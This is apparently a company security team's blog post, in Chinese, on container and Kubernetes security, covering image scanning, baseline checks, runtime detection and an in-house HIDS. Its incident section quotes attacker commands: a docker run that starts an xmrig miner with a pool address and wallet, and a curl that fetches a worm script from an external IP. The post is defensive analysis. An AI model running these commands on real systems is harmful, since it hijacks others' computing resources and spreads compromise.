随着云计算的发展，以容器和微服务为代表的云原生技术，逐步在企业中广泛使用，其中Docker和Kubernetes （k8s）是企业容器运行时和容器编排的首要选择。但在容器应用和K8S使用过程中，伴随云原生技术也逐步产生一系列新的安全问题，如何保障业务的容器安全，使得安全能力内嵌到云原生中已成为各企业关注的焦点。

本文结合货拉拉在业务逐步迁移容器化过程中，分享信息安全部在容器安全的落地实践经验，以供参考。

一、k8s经典容器安全事件

1.1  k8s组件简介 

在k8s集群中，有两种性质的物理节点，一个是Master管理节点，下图中的Control Plane，另一个是Node工作节点。

Master负责整个集群的资源调度，Master节点上面主要由四个模块组成：APIServer、scheduler、controller manager、etcd。Node是执行启动容器的节点，每个Node节点主要由三个模块组成：kubelet、kube-proxy、container runtime。下图kubernetes中文网k8s组件图。

k8s APIServer负责处理接受请求的工作，默认情况，提供HTTP的两个端口：8080(Localhost Port)和 6443(Secure Port)，8080端口为web管理平台，无需认证；6443端口需要认证且有TLS保护，用于远程连接授权。

1.2  k8s未授权安全事件  

某公司在某公有云部署的k8s集群未授权访问遭到入侵，集群节点全部沦陷，被植入挖矿程序，严重影响业务。根本原因是k8s集群鉴权配置不当，将"system:anonymous"用户设置为"cluster-admin"用户组，攻击者通过APIServer的6443端口匿名访问控制k8s APIServer，控制整个k8s集群大脑，再遍历选择Node结点创建Pod，下发执行挖矿和横向移动动作。

此次k8s集群攻击流程如下所示：

1、攻击者访问/apis/v1/nodes?limit=500， 获取所有Nodes结点。

2、攻击者通过k8s API Server会在指定Node创建一个Pod，该Pod启动docker:latest镜像，在镜像内部通过command参数再启动一个特权容器，与主机共享进程、网络空间。

3、攻击者在特权容器内部启动DockerHub上的“hsww/xmrig-centos7”挖矿镜像：

docker run -dit --restart always --name k8s_Pod_coredns-deploy-5124333766-2ret5k_kube-system_e279b644-708b-11ea-ab98-12x8fd333dbc2_0 hsww/xmrig-centos7 -o xmr-eu2.nanopool.org:14444 -u 47YMfiGEidNWZdkVZNWDkZj7LRC5MAVLd14i6xYyX2ag4nDvAXDqk8FSDwTmHTyVHnFUVhw6gnApp3N6HfyJFC1F995RSfU -p worker -a rx/0

4、攻击者下发蠕虫脚本

curl http://1.177.165.231/sd/T3llyz.sh

5、该T3llyz.sh脚本 首先会从ip为1.177.165.231下载xmrig挖矿安装包T3llyz.tar.gz，然后解压安装启动xring挖矿程序，并清理这过程中产生的日志，最后利用/root和/home下的ssh key进行横向移动传播。

二、容器安全建设背景

随着货拉拉业务的扩大，业务服务逐步从云上的ecs虚拟机部署迁移容器，实现服务的快速迭代，敏捷开发，更好的降本增效。业务在容器部署后，传统的像主机安全问题也并没有消失，比如getshell、挖矿、web应用入侵等依然存在，新增加k8s多个服务节点、容器Pod与宿主机ecs共享内核、namespace隔离机制不彻底等原因，导致docker面临新的安全问题；容器的安全攻击场景发生变化，从原来的ecs入口转变成Pod入口，并且能横向到相邻容器，甚至越权到宿主机、k8s的Master集权管理节点，容易造成严重的安全事件。

三、容器安全建设指导

货拉拉容器安全建设主要围绕 容器的全生命周期和容器的k8s威胁矩阵。

3.1  容器全生命周期 

从容器的整个生命周期看，包括从镜像构建、编排分发、容器运行、销毁主要的这四个阶段，因此容器安全建设根据生命周期拆分成四项核心安全能力，分别是镜像安全、生态安全、基线安全、运行时安全。在镜像生成阶段，对应镜像安全，主要检查是否是有毒的镜像；在容器编排阶段，对应是容器生态安全，主要检查k8s依赖的组件（像APIServer)是否安全；在容器启动后，对应是运行时基线安全和运行时安全，基线安全检查Pod启动后一些不合规配置；运行时安全面临主机安全类似的反入侵检测场景。

3.2  微软k8s威胁矩阵 

容器安全各模块详细的安全能力，主要是参考微软发布的k8s威胁矩阵。国内阿里云、腾讯云也发布各自的类似k8s矩阵，供安全建设参考。

上述矩阵图中将已知的容器攻击场景列入att&ck矩阵中，分为初始访问（Initial Access）、执行(Execution)、持久化(Persistence)、权限提升(Privilege escalation)、防御逃逸(Defense evasion)、窃取凭证(Credential access)、探测(Discovery)、横向移动(Lateral movement)、危害(Impact) 九个阶段。

在初始访问、窃取凭证阶段，主要涉及是容器的镜像安全、生态安全的相关能力；在执行、持久化、权限提升、横向移动等阶段是容器运行时基线、运行时安全的检测场景。

四、容器安全实践

4.1  镜像安全 

镜像安全检查是否是含毒镜像，主要检测存在敏感信息（密码、密钥等）泄漏、高危cve漏洞、 后门和恶意软件等安全问题。

镜像安全检测主要流程：CICD推送镜像到镜像仓库后，发起镜像扫描。当前我们使用某云镜像扫描能力，主要包括两部分，第一部分扫描镜像层信息，构建镜像时所使用的命令和配置参数，还原镜像文件构建过程，另外像开源的clair, dockerscan都有提供这方面镜像扫描能力，各有不同侧重点；第二部分主要是扫描系统软件的cve漏洞信息。

4.2  生态安全 

容器生态安全主要扫描k8s集群容器编排的依赖组件，检测点包括：对k8s的Master管理节点、Node工作节点上的服务进行配置检查、安全策略检查和接口安全等检查。

例如扫描检测Master结点APIServer服务未授权、k8s config配置；Node结点上kublet api未授权、docker rest api等安全风险。

4.3  容器基线安全 

容器基线安全检测Pod在运行后不合理的安全基线配置，当前主要根据CIS-Docker、CIS-Kubernetes  Benchmark最佳实践方案，挑选高风险的基线项，自定货拉拉Pod安全基线运营。

基线检测项示例：对特权容器privileged检测；宿主机敏感系统目录（/, /boot, /dev, /etc, /proc, /sys)不允许挂载在容器Pod中；端口映射检测，特权端口禁止映射到容器内(1-1024)，只映射必要端口；检测Pod开启CAP_SYS_PTRACE、CAP_SYS_ADMIN等CAP权限等等。

Pod开启特权容器或敏感系统（/根目录）被挂载时，攻击者利用漏洞进入Pod容器内，可以操作宿主机文件，达到容器逃逸的目的；Pod在开启CAP_SYS_ADMIN，允许执行系统管理任务，例如加载或卸载文件系统，安全风险较大。

下面是扫描一个Pod基线结果，详细列出Pod的基础信息以及对应安全基线不合规等级和详细项，方便安全运营跟踪处理。

4.4  容器运行时安全 

部署的业务服务在容器内会面临宿主机ecs同样反入侵安全问题，容器运行时安全也按入侵攻击链拆分出攻击事前、事中、事后三个阶段，以k8s威胁矩阵参考，建设运行时安全检测能力。

事前侧重点梳理docker的资产、开放端口和业务进程等 ；事中同主机安全检测同类似的安全场景，爆破、反弹shell和命令注入等场景；事后主要围绕应急溯源相关的基础审计，像登入记录、Pod容器命令执行记录等

五、安全架构实现

货拉拉业务部署在国内外多朵云环境， 为降低成本和提高安全运营效率，安全部自研实现主机安全HIDS统一部署和运营。

5.1  HIDS架构 

主要有三个安全组件（Agent端、Server、管控端）和一个数据中心存储层。在ecs主机上需要部署一个探针Agent，Agent端实现分层，包括最基础数据采集层、数据处理层、安全检测引擎；后端部署多个服务端，接收Agent发来的基础数据、告警，分别存入数据中心的Mysql、ES、Hive等存储中，告警也会同时推送到办公IM，实时跟进。

5.2  安全技术选型 

在开展容器安全技术调研，分别从基础数据采集方案、兼容性、架构调整、安全场景扫描、Agent部署运维、安全运营效率等多种维度评估权衡后，最终决定将主机、容器安全能力统一在自研主机安全Agent端，实现多个基础采集和检测模块复用。Agent安装包会预置到宿主机镜像，实现增量自动部署，主机、容器安全入侵检测能力自动化支持。

Agent端核心逻辑从宿主机内核采集进程等基础数据，关联容器Pod，富化补齐Pod基础信息，打上Pod标签，审计数据被传递给上层安全检测引擎，实现容器安全检测能力。

这是在容器入侵安全场景中检测一个反弹shell例子，告警中包括当前Pod所在宿主机ip信息；反弹shell使用方式，以及父子进程等详细信息；同时也展示出Pod对应资产归属，方便安全运营同学高效应急排查。

六、总结和思考

伴随着云原生发展，企业在应用云原生技术时，需要考虑容器安全能力，让安全与云原生相融合，提供类似基础设施一样安全能力，成为内生安全，更好地保护业务系统。

货拉拉以容器的全生命周期落地实践，当前在多朵云容器环境全量部署稳定运行近两年，并持续迭代建设和运营，为业务保驾护航。然而安全攻防是一个持续对抗的过程，为了实现与业务更好的安全平衡融入，我们也在不断探索epbf和network policy网络微隔离等技术实现更精细的安全能力，敬请期待下次分享。

引用链接

1、k8s安全事件 https://www.cdxy.me/?p=833

2、k8s架构图  https://kubernetes.io/zh-cn/docs/concepts/overview/components/

3、微软k8s威胁矩阵 https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/